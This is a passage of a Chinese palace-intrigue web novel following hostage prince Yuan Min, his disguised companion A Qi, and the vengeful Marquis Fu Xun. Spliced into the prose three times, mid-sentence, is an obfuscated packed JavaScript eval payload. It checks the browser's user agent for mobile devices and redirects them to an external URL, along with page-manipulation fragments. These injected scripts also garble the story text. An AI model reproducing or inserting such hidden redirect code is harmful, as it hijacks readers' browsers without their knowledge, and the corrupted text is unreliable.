烟霞湖位于灵昌西郊,位置冷僻,今夜受城中热闹氛围的渲染,也停泊了数艘画舫,轻歌曼舞凝丝竹,湖边稀稀拉拉围着几处文人在猜灯谜。 苻洵在距湖边一里处便下了马,命随从莫邪牵着,自己绕湖信步游荡,边走边对这画舫的歌、那画舫的舞评头论足,终于在一艘竖着走马灯的画舫前停住,桃花眼眸光流转,赞叹道:“此船颇有意趣。” 轻轻点足纵身一跃,轻灵得像一只掠过湖面的雨燕,稳稳落在甲板上、走马灯旁边。 莫邪见怪不怪,无可奈何叹了口气,寻了棵粗壮点的树系好马匹,坐下倚在树干上,抱臂假寐。 苻洵目不斜视的穿过琵琶嘈嘈、舞袖飘飘的前厅,登堂入室,掀开最后一道水精帘。年轻男子穿着一袭天青色轻裘,支颐侧坐看向窗外,夜风吹开他乌发,一对凤眼如黑曜石,在花灯下映照出深深幽光。 苻洵一瞬不瞬盯着他,眸中交织着恨意、感佩等复杂情绪,默不作声看了半晌才款款走近,躬身长揖,抬头时已眉眼带笑,温声道:“在下苻洵,拜见大翊四殿下。” 元旻回身坐正,伸手示意苻洵坐下,将桌上两只酒杯斟满:“不知建业侯约在下来此,有何要事?” 苻洵深深注视着他:“在下想问一句,郡公府那夜的提议,殿下考虑得如何了?” . 武煊拉阿灿回到质子府时,众人都已歇下,偌大的府邸鸦雀无声。 轻手轻脚送阿灿回快雪阁,绕过假山踱步去湖边,远远看见白露水榭里,湖心亭石桌旁坐着个人,细细擦拭着手中短刀,正是阿七。 月华空明如水,洒满白衣,照得阿七宛如云端仙子。只是此刻的阿七,杏眼波光粼粼,双颊有两团不正常的红晕,浮在瓷白的肌肤上有些突兀。 武煊好奇地过去:“饮酒了?” “与师父许久未见,一时兴起对饮了几杯”,阿七头也不抬,“在外面用过晚膳不曾?小厨房怕是已歇了。” 阿七依旧缓缓擦拭着短刀的每一处细微,似乎要将那根顽铁擦拭得光洁如镜。 有心事? 武煊马上不困了,目光灼灼凑过去:“月亮这样好,再跟我小酌几杯,如何?” 阿七一瞬不瞬盯着他,就在武煊以为要听到一个“滚”时,对面传来轻轻的一个“好”。 三巡之后…… 阿七依然坐得仪态端方,只是眼神逐渐飘忽,双颊酡红宛如桃花,竟透出些许娇媚。 无怪乎赞美人容颜“桃之夭夭,灼灼其华”。 这念头刚一冒头,武煊立即起了身冷汗,全身肉皮开始发疼。 阿七自小生得柔美,脾气却很差。他曾大大咧咧跑去问过阿七是不是女娇娥,阿七静静听他问完,挽起袖子道:“我这就与你解释。” 两刻后,鼻青脸肿的武煊双手掩面,飞也似的逃出了兴庆宫。 从此,他再也不敢质疑阿七的男儿身。 冯太后将阿七一手养大,元旻与阿七同吃同住多年,这俩金枝玉叶都说阿七是男子,哪轮得到他质疑? 不过,如此好容貌,也难怪阿灿牵肠挂肚,武煊心念一动,开口试探道。 “阿七,你是否有心悦之人?” “何为心悦?” 武煊绞尽脑汁去描摹阿灿:“心悦就是,看到她会心跳加速,欣喜难抑。那人高兴你会高兴,那人难过你也会难过,看到好的、有趣的总想跟她分享。那人想要的,哪怕是天上的星星,你也会想摘下来送给她。” 岂料,阿七认真思考了半晌:“喜人所喜,悲人所悲……总想跟那人分享……算是有吧。” 武煊眼睛一亮:“好不好看?” “好看。” “爱笑吗?” “爱笑。” 武煊乘胜追击:“姓甚名谁?” “是……”阿七卡了一下,摇摇手,“不可说,皑如山上雪,皎若云间月,只肖想已是亵渎。” 武煊思忖片刻,委婉了些:“那能不能说些关于她的事,比如什么性情,喜欢什么,跟你怎么如何相识……这些总没问题吧?” 阿七觑着眼,恍惚了半晌,对着月光断断续续开始诉说。 “性情很温和有耐心,对我十分照拂、什么都教我,从不嫌我笨嫌我调皮,我闯了祸总帮我兜着。” “对身边人很好,无论出身高贵还是低贱,都愿意照应得周全。” “我们认识了很多、很多年……” “那人比谁都聪明,什么学问一学就会,又比谁都有脑子有主意,天塌下来也面不改色,山穷水尽也能拓出一条大路。” “我愿意为那人付出一切,哪怕是性命……” “你这说的是人么,怕不是神仙”,武煊在熟人圈子里搜寻了一圈,恍然大悟,然后诚惶诚恐地说,“不可,如此悖逆人伦!” “昭后娘娘她,是你的养母。” “……”阿七迷迷糊糊瞪过来,正要骂出些好话,头一歪,伏到桌上睡了过去。 次日,武煊起了个大早,去演武场耍了几圈剑,见东方已有朝阳露头,才神清气爽去了东花厅。 小厨房还未摆早饭,花厅传来阿灿叽叽喳喳的嬉笑,还有元璟的温声细语。 “首次注水少些,将将盖过……” “茶筅要稳,一直这样来回击拂,幅度再大些,就这样……别打圈……” 元璟正在教习点茶,那是昇阳刚刚兴起的玩意。 源起滬国的煮茶,碾茶为粉细筛,再选水、烧水三沸调膏击拂,整个过程对茶末粗细、水温、茶具皆有精致的要求,过程极其繁琐。文人墨客皆将其视作赏心雅事,甚至发展出“斗茶”“分乳”的乐趣。 武家世代将门,阿灿本来没这耐性,却也在元璟手把手指导下,学得不亦乐乎。 那傻丫头还不知满腔心事已付东流。 武煊无声叹息,看到阿灿兴奋得红扑扑的小脸,想到家中近些年变故频发,她在昇阳陪伴母亲,定是许久不曾开怀。 又想到桐花别苑长年空虚中馈,元璟三十好几了,年龄大点好,会疼人嘛。他品貌不输元旻,性情有趣自由,没那么多心事压着,很会怜香惜玉。 忍不住给了自己一耳光。 他元璟自是擅长风月,描眉斗蝶都是信手拈来,可是……可是他对所有女子都如此怜惜啊。 耳光声太大,厅内点茶的二人愕然抬头。 见是他,又齐齐低头,继续打着盏中白纷纷的茶末 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981214|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这白得跟刷锅水似的沫子,真能比煮出来的好喝? 武煊忍不住又开始在脑子里描画阿七昨夜说的那人,貌美、聪慧、有头脑有手段还性情温和,除了王后还有谁?可阿七昨晚的反应又否决了他的猜测。 难不成…… 门口响起凉凉的男声:“你们昨夜谁给阿七灌酒了?” 元璟和武煊异口同声:“我。” 两人说完后对视了一眼,颇有些难以言喻的尴尬。 元旻目光从二人脸上扫过,并未搭理,转而对阿灿温声道:“表妹千里迢迢来此,可有不适之处?” 未等阿灿作答,又对春羽道:“秋日干燥,姑姑去吩咐小厨房每日炖些燕窝,记得多加百合子和秋梨膏,九叔和表妹都爱吃,各房都要送。” 元璟发现元旻眼下两片乌青,眼尾眉心有撑不住的疲态,身形摇摇欲坠,走动间能发现那袭天青色轻裘沾着些东西,有些心疼。 定睛一看,却发现竟是些粉污香渍,混着一身醺醺酒气和脂粉甜腻,满腔疼爱和关切霎时噎在胸腔。 敢情夜不归宿,是去喝了花酒! 元旻似未察觉九叔神色有异,转向武煊:“用完早食来朝晖堂。” “不愧是先王看重的四殿下”,武灿从门后探出头,看着走远的背影,啧啧称奇,“一晚上就换三套衣服。” 元旻极注重礼数仪态,不同场合不同服饰、严格得一丝不苟。 武煊瞟了阿灿一眼,无声赞同。 昨天日夕方归,听襄侯闹了个把时辰,摆宴陪客,安顿好宾客又外出谈事;既然借了花楼掩藏,想必谈的事情重大凶险,极耗心力;一宿未眠还能见缝插针照应众人,连朝食也不曾用,又宣他去朝晖堂说事。 如此爱洁之人,衣袍脏了也未顾及,想是已支撑不住。 铁打的人也经不起这般连轴转。 武煊心疼不已,无心朝食,直接去小厨房舀了两碗梗米粥,取了马蹄糕、栗子酥,又将各色酢菜夹了点混到一个小碟里,取了大食盒放进去。 正要提走,忽想到一事,便吩咐厨娘再取个食盒来。 厨娘笑着问:“东花厅已摆饭了,食盒沉重,只恐劳烦了公子,要带给哪位主子只管说,婆子随后送去。” 武煊点头:“朝晖堂东院的那位可起来?” 厨娘笑道:“不曾起来,公子莫忧,方才春羽姑姑已来过,吩咐婆子煮两碗醒酒汤,又吩咐炖些好克化的甜羹在炉子上温着,七公子醒了就送进去。” “……” 他晚归就没得吃,这边宿醉不起还有甜羹温着等醒。 武煊心底骂骂咧咧,却满脸堆笑、脚底轻快。朝晖堂悄寂无声,穿过前堂主院停在主屋门前,轻轻叩门三下,屋子里仍静的可怕。 犹豫了片刻,担忧还是盖过敬畏,朗声喊着,径直推门走了进去。 “四哥夙夜辛劳,我带了些清淡的早食,吃了好生歇息吧。” 床榻整齐得连个褶皱都无,只西侧隔间传来细微响声。 帘幕低垂,正中放着一个大浴桶,旁边的木施上搭着一袭天青色轻裘,旁侧是雪白的内衬、中衣,内衬只有斑点血痕,中衣已洇出触目惊心的两道鲜红。 水汽氤氲中,男子浸在热水里,乌黑长发遮盖的后背上,交叉着与中衣上别无二致的两道伤口,深可见骨。 他微微垂头,闭目养着神,听到脚步声后抬眸,待看清来者后,再度疲惫地合上双眼假寐。 武煊会意,马上转身打开床头暗格,取出一个黑色的瓷瓶,用棉布拭净他后背水珠,却见伤口已有些红肿。 元旻头也未抬:“桌上有酒。” “怎么弄的?” “阴沟里翻了船”,元旻长叹一声,想了想又说,“玉照铁匠铺那事,算是了结了。” 5. 苻洵 半月前,元旻听二人讲述那天鹿鸣茶肆发生的事,便知有人起了疑心、盯上了他们。 那一趟,武煊先去了玉照铁匠铺,又见了佐革草原来的贩马商,挑了几匹好马一路西行,欲深入戎陵山脉。 当夜抵达凤台郡、位于戎陵山脚下的宣武镇,正欲入眠,窗外忽传来五声云雀鸣叫,三长两短。 正惊疑不定时,窗子被大风吹开,尘土翻飞裹入一张枯叶,刺出的针孔寥寥数字——“尾十,速归”。 元旻安排阿七组织了一队密探,名为飞廉,七个首领皆改名对应北斗七星,又称“飞廉七星”。 阿七与武煊分道时,秘密安排了摇光跟随,三长两短的云雀鸣声寓意小凶,枯叶上的字寓意“已被跟踪了十天”。 至于为何等到第十天才示警,就不得而知了。 荣国的盐铁皆归军制,军中讯息都由驿站快马接力飞递,差不多三天三夜便可从栎东抵达灵昌。玉衡、开阳两人在灵昌守了近十天,却未探知任何从凤台郡、英平郡飞报的信息。 想了又想,元旻决定亲自去一趟英平郡。 苻沣克己慎行,这天也如往常那般闻鸡起舞,平旦便入书房读书,却在开门时看见房中坐着一位不速之客。 元旻试探一番,发现苻沣竟也对此毫不知情。便只将备好的一方石刻赠与苻沣,又东拉西扯了几篇学问,言辞极尽谦卑,稍稍暗示自己处境如履薄冰、步步惊心,苻沣也温言宽慰。 正要离去,苻沣笑道:“不想四殿下也对金石颇有心得,刚好今日邀了贵国襄侯,不如留下共赏?” 元旻心头一惊,九叔突然到访实在扰乱了他的谋划。踟躇之际,前门已传来一叠声的问安:“襄侯贵足踏此,简直蓬荜生辉,里面请……” 他忙避让,想着从其他门先出去,再作打算。 刚刚行至侧墙门下,正思索下一步行动,忽听破空尖啸。元旻习惯性地侧身避让,却只觉后背一寒,飞来之物已割破衣衫,在他后背深深切过。 那不是羽箭,而是一柄被掷出的双刃短剑。 侧门突然打开,门外一少年穿着苏芳色箭袖直裾,侧身负手而立,好像已守候多时,斜斜瞥过来、眼神阴冷而狠戾。 刚一照面,那少年右手手腕一翻,一言不发便是一刀挥来,元旻鞣身避过。那少年趋步欺身往前,一击不中又是凌厉一劈,毫不迟疑,一刀赛过一刀毒辣。 元旻上下格挡,后背伤痛开始发作,动作逐渐迟缓,于是使剑贴紧贴刀面,缠住旋了几圈,堪堪绞住对手长刀、将其格飞。 刚松了口气,正要抬手施礼询问对方,红衣少年忽左臂长舒,潇洒利落地画了个圈,又一抹寒芒闪过…… 从拔刀到结束,不过片刻,胜负已分。 那少年右手掂住刀尖,缓缓将另一柄弯刀平平举起,目光扫过剑锋殷殷血迹,睥睨道:“我又没说过只用一把刀。” 元旻后背硬受了凌厉的一刀一剑,鲜血喷涌、极快浸透了大片衣衫,令他有些头晕目眩直不起上身,只得以剑撑地,屈膝半跪,低声问:“阁下何人,为何在郡公府公然行凶?” 此时,府兵已狂奔而至,齐齐对红衣少年屈膝行礼:“建业侯万安!” 红衣少年阴冷的表情乍然消失,乍然变得温煦,朗声笑道:“等了许久不见开门,适逢遇见这位公子,一时技痒切磋了几招,公子可还好?” 少年笑起来很漂亮,眸如朗星、唇若花瓣,额角垂下两绺飘逸的黑发,衬得一张脸灵动而纯净。 后方响起急切的女声:“阿洵,怎可如此胡闹,一回来便伤了你哥哥的贵客?”来者正是苻沣之妻,英平郡公夫人萧玥娘。 苻洵忙躬身长揖,对匆匆赶来的女子乖巧行礼:“嫂嫂妆安。” . “简直胡闹”,苻沛拍案怒斥,“就算是为了查案,也不该滋扰平民!” 苻洵双膝跪地,上身绷得笔直,悍然迎上怒火:“既是质子,就该寸步不离地待在灵昌,否则也轮不到愚弟滋扰!” 苻沣大怒:“如今两国刚刚交好,翊质子若有损伤,届时翊国师出有名、战火再起,有多少人流离失所,多少家破人亡,你想过没有?” “那就都去死!”苻洵咬牙切齿,慢慢低下头、抱住双臂咯咯笑起来,越笑越大声,笑得上气不接下气,“都是血肉之躯,我们死万人,他们怎么着也会死上七八千,大家一起死,不够的话,再填上我一条命……” “你疯了!”苻沣狠狠一记耳光扇过去。 苻洵硬生生受下兄长那记耳光,更是笑得几乎气绝,忽然全身颤抖,流下泪来:“哥哥啊,我早就死了,死在龙津围场了。” “那年冬天,父王带兵去打上阳郡,他忘了……他忘了还有我这个儿子在昇阳,等啊等……我等了好久。可是他没来,我每天晚上都梦到自己死了,脑袋被砍下来装进盒子里送回灵昌。” “都过去了……过去了”,苻沣右手僵在半空,良久,紧紧抱住痛哭的弟弟,“哥哥对不住你,没早点接你回来。” “后来父王兵败了,死了,大哥成了新的王,大哥也忘了我。再后来,连昭王都把我忘了……”苻洵笑到抽搐,“忘了多好啊,连砍头那样痛快的死法都没了。” “春天了,围场里牲畜也要下崽,可有人想围猎,怎么办呢?” “自然是我们这些没用的人了……” “人命可真贱啊,元琤他们让人用鞭子在后面抽我们,让我们跑,他们就在后面骑马追。” “箭术好的,一箭给了个痛快,箭术差的,断手断脚、穿了喉管、箭头从眼睛穿出来,就是死不了。后来,都死了,他们也把箭囊射空了。” “我又活过来了,却还不如被一箭射死……他们绑着我的手,拖在马后,马在前面跑啊跑,我在后面跑啊跑,跑不动了就在地上拖,再拖一会儿皮啊肉啊骨头,就一块块掉了……” 苻沣心如刀割:“哥哥对不住你……” “我那时已不盼望有人救我,只指望谁能痛快杀了我”,苻洵声音逐渐暗哑下去,笑容更盛,泪如泉涌,“若不是他们的太子侥幸路过,我早已死了。” “我带去的先生、嬷嬷、护卫,他们都死了,为保护我被活活拖死的,我时常在梦里反复看到他们。这么些年了我也想忘,可若是忘了那些恨,我也不知为何而活了……” 苻沣摇头,泪如雨下:“那你无论如何,更不该伤害元旻殿下?” “因为——他就是持东宫令救下你的那人。” 苻洵一愣,半晌后激烈摇头否定:“不可能,送来当质子的都是最不受宠的孩子,他可是有东宫令。” 苻沣定定看着他:“阿洵,你从不关心政务,昭王在位时没有立太子,只有个手持东宫令的四王子,他就是三年前在政斗中失败、被送到荣国来当质子的元旻。你现在知道了么?” 苻洵全身僵住了,怔怔看着地上、眼神孔洞,只低声喃喃:“不可能、不可能……怎会是他?不可能……” 过堂风吹来,吹过他塌陷的背、无力垂下的头、麻木僵直的手。 就这样,在那里松垮垮地跪坐了不知多久,好似被抽去了整根脊骨。 . 元旻伏在榻上,看着摇光送来的线报。 苻沣果然查封了那家铁匠铺,并挖出了背后走私生铁的线路,然而所获生铁兵器寥寥,还不够装备一卒的兵力。 于是只收缴了铺子里存的生铁和兵器,相关案犯只缴纳了高额罚金,对此案的上报也只夹在请安荣王的折子里,只字未提元旻。 此后嘛,苻沣应会暗查一遍周边所有走私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981215|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只要没挖出别的大案,至少一年不再疑心私铸兵戈相关事物。 默默盘算着,元旻合上双眼,忽听又轻又稳的足音停在门口。 海棠红轻裘,鬓发有些凌乱、垂落两绺飘逸的额发,眼眶泛红、唇瓣紧抿,如一盏孤寒而破碎的美人灯。 元旻下意识就转身摸剑,苻洵却弯了弯唇角,轻声道:“殿下勿惊,在下今日前来只想请教一件事。征和十九年春,殿下可去过龙津围场?” 元旻在脑中搜索了大半天,才缓缓道:“未去过,记得当时有人告发,说我几个堂兄堂弟在围猎活人,我念在上天有好生之德,安排家臣带我的东宫令去查,果然救出了些人。” “原来如此,好一个上天有好生之德”,苻洵点点头、笑容加深,泪光慢慢消失,思忖片刻后双膝弯曲,前额触地长跪不起,“昨日之事,是在下眼盲心瞎,险些误杀恩人。在下这条命是殿下救的,请殿下拿去,处置随意。” 元旻愣住了,诧异道:“我要你的命做什么?” 苻洵抬眸注视着他:“五年前活命大恩,在下无以为报,愿为殿下效犬马之劳。” 元旻摇头,淡淡道:“当初让人在围场救你,不过举手之劳,你并不欠我什么。” 苻洵笑容更盛:“那么在下就帮殿下做件事,这也是在下一心想做的事,杀个人——昇阳元琤!” 元旻惊得不顾后背的伤,立时长剑出鞘直指苻洵。苻洵却不避不让,甚至缓缓前倾,主动将脖颈贴上剑刃,目光灼灼盯着他:“这条命任殿下处置,只要让我看到元琤的下场。” 元旻玩味地盯着他眼中隐忍的疯狂,沉默良久才缓缓开口劝慰:“侯爷既已回国,承欢膝下,自当心胸开阔,勿自缚于陈年旧恨。” “至于当今翊王,弑君乃大逆,建业侯慎言。” . 痛,好痛。 坠落、无休无止的坠落。 她下意识低头,只见腹部插着两支箭,后背、腹部破了很多洞、像是刀伤,血从腹部后背不断涌出,晕成一团又一团血雾,灌进嘴里又腥又咸。 水从四面八方挤来,滚烫的疼挟着激流涌入她的胸腔、四肢百骸、脑浆,眼前一团软绿一团亮白,血雾裹着她下沉,越来越远…… 忽的,那道身影分水而来,近了,看得见白色骑装,看得见衣袖上淡金的纹绣,那纹饰、那族徽、那张脸…… 看不清,还是看不清。 阿七汗淋淋从床上醒来,小腹沉重得像是坠着铅块,又像有无数把钝刀子在腹内剜刮。起身掀开被子,果然腿间一片猩红。 阿七起初对男女并无概念,冯太后和元旻一直对周围人说她是男子,也一直跟她说她是男子,她便一直以为自己是男子。 十几年如一日的伴读、骑射、习武、杂学、千锤百炼,男子做的事她一件没落下,而且武艺拳脚是几个伴读中最凶狠有力的。 她们说女孩喜欢的钗环、华服、脂粉、香膏,她全无兴趣,都说她生得貌美,她也并不当回事,不怎么珍惜保养这张脸和这副身子。 第一次来葵水是前年春,一早醒来床上全是血,小腹剧痛、头晕目眩,却怎么也找不着伤。她将自己在屋中关了小半天,想好了所有的后事,收拾洁净了去书房向元旻辞别。 “殿下,阿七不能再为你效命了。” 元旻的目光从字帖中抬起,飘飘忽忽有些疑惑。 她万念俱灰,眼眶发热、吸了吸鼻子哽咽道:“我要死了。” 元旻诧异:“多重的伤?伤到哪儿了?” “没有伤。” “中毒了?” “没中毒。” “那是怎么了?” “许是什么怪病,流了很多血,却不见伤口。” 书房里,蓦然间寂静如死。 6. 冯太后 元旻执着紫毫笔一动不动停在半空,笔尖的墨汁慢慢聚成一滴,颤了颤,滴落到即将完成的字幅上。 他的从容、娴雅、风度瞬间碎裂,飞快躲闪开她的眼神,脸上青一阵红一阵,想了半天才艰涩地开口:“你只是长大了。” 阿七是女儿身,元旻不晓得何时知道的。 但不知为什么,这件事成了必须死守的秘密,全世界好像只有冯姮和元旻知晓。 按他们的计划,阿七长到年纪后,可以由冯姮教导她这些女儿家的秘事。上阳郡的变故却将她抛在灵昌,身旁只有元旻这个男子知道她的女儿身。 于是就尴尬了。 更尴尬的是,过了约莫两个时辰,元旻攥着本翻了一半的医术,来东院亲自给她教授何为葵水,何为月信。阿七一想起当时那场景,就难堪得想钻进地缝。 阿七至今记得那个下午。 金红色的斜阳撒进窗棂,坐在窗边的男子白衣胜雪、纤尘不染,眉心轻微抽搐,目不斜视盯着医术,一本正经地念着:“女子二七天癸至。天谓天真之气……常以三旬一见,以像月盈则亏,不失其期……” 他念完之后,面无表情起身在门口站了一会儿,又推门进来,深深注视着她:“你是女儿身的事,是我们的秘密,不要让任何人知晓。” 看了许久,他抬手轻轻拭去她的泪花,温声问:“女儿身也会继续追随我吧?” 又说:“阿七,我们一起长大,如今又相依为命,你是我最信任的人。” 阿七不明所以,还是含泪点了点头:“只要阿七多活一天,一定誓死追随殿下。” 元旻欲言又止,弯了弯唇角又出去了。 之后几天,阿七独自在房中试了许久,才学会将棉布裁成长条,用完后不着痕迹地烧毁、丢弃,以及熏香掩盖那几日的血腥气。 自那以后,东院每年分到的棉絮被褥总比其他院多些,还时常会多几匹白棉布。去年春末,灵昌发了一阵子时疫,春羽从外雇了个药师,疫病结束后将其留了下来,小厨房也开始做应季的调理药膳。 她来葵水的那个下午,是沉默寡言的元旻跟她讲话最多的时候。那天之后,他再未踏足东院,甚至不再单独传唤她。 他是天上云、她是凡尘泥。高山仰止,景行行止。 那样金枝玉叶又纤尘不染的人,便只肖想一下,都是亵渎。 . 白露水榭最美的时节是晚秋,九曲回廊延伸至湖心,湖中有一块蒹葭渚,苇花纷飞如雪没入碧波,湖汀有两棵巨大枫树,秋霜初冻,红叶翩跹。 湖心亭中,元旻穿着纯白色宽大长袍,头发一丝不乱绾好,别着一枚质地匀净的羊脂玉发簪,坐姿端正笔直,像巍峨山巅最纯净的一抔白雪。 端、静、净、雅。 石桌上放着一架文武七弦琴,他正专注地弹拨,泠泠琴音如溅飞泉。春羽带着一名手捧茶托的小厮,静静侍立在侧。 阿七站在月门下,驻足遥遥看着,不愿搅扰如此佳境。 一曲终了,春羽从小厮手中茶托沏了一杯茶递过去,赞叹道:“上次有幸听小殿下抚琴,还是四年前先王的寿宴,当真是昆山玉碎凤凰啼,此时听来,却有‘如听万壑松’的清寒寥远之感。” 元旻微笑:“不过物是人非,心境与以往相差太多罢了。” 春羽满眼恻隐:“小殿下正值盛龄,竟已如此领悟,人云慧极必伤,却教娘娘该如何心痛。” 元旻示意小厮抱琴退下,轻声道:“我也许久未听春羽姑姑如此,可否小坐片刻,与我叙叙话?” “春羽姑姑在北宛王宫便是母后的身边人,又随母后远嫁昇阳,可否讲一讲,她年轻时是怎样的人?” 春羽想了半晌,组织措辞后,娓娓开口。 “娘娘是大宛汗王的十公主,大宛排序齿都是男女分开,因为在那里,女子命贱,上至王公贵女,下至贩夫走卒,女子都是联姻、供男子享乐传嗣的物件。” “当年,十公主和胞兄十二王子的母妃并不受宠,十二王子早早被派去了玄阴山,结识了当时镇守宣庆府的先王,二人虽国别不同,却政见相同、脾性相投。” “十公主长大后,出落得如同雪莲花,又能骑擅马,求娶之人从端明门排到柘枝城外,可十公主都看不上。她说,要嫁就嫁一位盖世英雄。” “后来,在十二王子和先王的努力下,两国联姻结盟,先王作为使者跨越草原到柘枝城求亲,为自己嫡出的五弟元琮求娶十公主,十公主却一眼看中先王的英雄气概。” “汗王也十分欣赏先王,对他说若娶了十公主,北宛必会倾尽全力让十公主成为王后。又过了半年,昇阳传来消息,联姻对象变成了先王元珙。” “娘娘比先王小十几岁,嫁到昇阳才知道,先王已娶了崔娘娘、儿子都生了俩。” “一入翊宫深似海,初到昇阳时,娘娘文化习俗全然不通。崔娘娘却是先王青梅竹马的原配夫人,出身高贵、能文能武、与先王琴瑟和鸣。这样才貌俱全的人,自然心高气傲,对景和宫未免有些……娘娘倒要忍让她三分。” “后来有一回,娘娘屏退我们,不知同崔娘娘说了什么,崔娘娘便不怎么来景和宫挑事了,人前也待娘娘颇为恭敬,只守着浮玉宫同先王恩爱。” “先王虽盛宠崔娘娘,却也未曾亏待娘娘,该有的体面尊荣样样不缺,娘娘嫁过来久了,倒也生出些些夫妻情分。” “过了几年,便有了您和五公主,一胎双生,呱呱坠地时本已日暮,天边却突然绽出万道霞光,正好落到阳华山凰羽寺的屋脊上。那以后的事,您便都知道了……” 元旻敛眉陷入沉思,春羽往外一瞥,起身道:“这些个陈年旧事,殿下若是想听,什么时候传奴婢都成,阿七…姑娘已等了有会儿了,奴婢也该告退。” “姑姑不必走,有些事,需传她来一并问清”,元旻抬眼看了看湖边,浅浅抿了一口茶,“这茶有些凉了。” 春羽忙说:“秋深露寒,殿下移步书房如何?” 元旻点头道:“也罢,昨晚受了些风寒。” 春羽会意:“那奴婢吩咐小厨房,煎两碗浓浓的姜汤来。” . 阿七在八月初回过昇阳,受命潜回王宫探查昭王过世的真相。 元旻是从一年半之前开始探查的,阿七多次受命,率飞廉七星屡屡往返两国边境。 她先去了上阳,平西侯府已改换门庭,因三年前护主不力,武家满门获罪、被褫爵罢官。那血腥的一夜,最终以上阳府边户副都督姜榷率援军击退突袭结束。 可那晚突袭的精兵归属何郡、率领者谁,至今未有线索,那些人就像凭空出现,屠杀了一场,就消失于世间的鬼魅。 上阳府边户副都督姜榷升了官,成为总都督,授爵平西侯。看似从中获利,他却在升职之后,请命起复武家五郎武焕为边户使,职级仅次于都督。 姜氏族中子弟也并未飞黄腾达,叫的上号的只有鸿胪寺少卿姜环——此次访荣副使,以及洺州刺史姜娥。 她又去了临梁郡,在他们被截杀的那个山坡、往前十里的沙沟驿,翻出了被暗杀埋进后山的尸骨,未完全腐烂的外袍上绣着“上阳”的字样。 临梁侯裴世安,支持元琤继位的三姓之一。 “除了裴、宣、闻三姓,支持元琤继位的世家极多,不必细说”,元旻支颐沉思,“除非那种升迁极快的。” 大翊门阀世家传承千年,盘根错节,数代国君首先学的为君之道,便是在各世家周旋制衡。 昭王自征和七年起,开始擢拔优秀的寒门子弟,并在各郡县开设选文堂与演武堂,三年一文试、两年一武选。过后十几年,朝中鸾翔凤集, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13981216|148138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更是涌现大批只忠于国君的纯臣,一时盛况空前。 元琤窃国之后,立即废除了文试武选,底层升迁途径日渐凋敝,唯有攀附世家以求举荐。新政实施仅十余年,寒门子弟尚未成势,甫一恢复旧制,便被联手排挤出朝堂三品以外。 元琤上位之后,族中子弟多得起用当属裴、闻两家,至于宣氏与崔氏…… 宣氏乃昭王母族,昭王即位后却更器重武氏和崔氏,待宣氏不过平常,宣氏应当只是政治投机。 阿七忽又想到一事,摇头道:“先王入殓之时,元琤围了宫禁、带了十多名亲随闯入灵堂,是大殿下千里奔袭,杀出一条血路,挺身护在先王灵柩之前。” 元旻瞳孔一震:“闯入灵堂?” 阿七点头:“元琤是想灵前即位,当时在场的,除了太后、郑夫人、大殿下及六殿下,其余几人,包括先王托孤的太傅常大人、太保林大人、闲杂宫人等皆已被灭口。” 春羽后怕地喃喃:“娘娘英明,先王发丧之前就将奴婢、夏兰、秋菊、冬雪四人关入一所荒芜的偏殿。” “过了不知多久,奴婢都不大会说话了,突然有人将我们放出来藏入水缸运出宫外,带出来的包裹早已收拾好了,有金银细软,还有北宛、荣国、大翊三国的通行符节。” 又说:“冬雪放心不下娘娘,要留在昇阳等消息,夏兰秋菊想回北宛去投亲靠友,奴婢放心不下殿下,想着来这儿找您。” “哪知一路盗匪横行,将奴婢的金银抢了个干净,险些断送了性命,得幸遇到阿七……公子,才有幸再见殿下,也不知娘娘如何了?” 阿七迟疑着不知如何开口。 元旻皱了皱眉,似也意识到什么,艰涩笑道:“查到什么说什么便是。” 阿七低头,声如蚊蚋:“太后娘娘她……断了一臂。” 满室寂静。 昇阳王宫守卫森严,阿七率天璇、天玑潜入时多次险被察觉,到了景和宫已近子时六刻。 房内并未掌灯,冯姮站在漆黑的窗前,望向东方天穹,柳眉紧缩似在沉思,寂静的远方传来沉闷的梆子声,丑时已到。 忽缓缓转身,看向头顶,淡然笑道:“房梁高寒,客人不如下来一叙。” “本宫已等你许久”,冯姮用右手从茶盘里取出两个茶杯放下,再用右手斟上已凉的茶水,将其中一杯递到对面,笑容一如往日温和,“阿七,好久不见。” 黑暗中隐隐可见,她左臂空荡荡的,从袖管垂下一截木质的义肢。 春羽愕然:“娘娘竟连这也算到了。” 阿七不知如何应答,那夜她并未从冯太后那打听到更多。冯太后给了她一杯茶,也只给她留了一杯茶的时间。 “是子丑交接之时,卫尉寺换防,两边交接约需一盏茶的时间”,元旻忽然开口,“只是不知母后从何得知你们进了宫。” 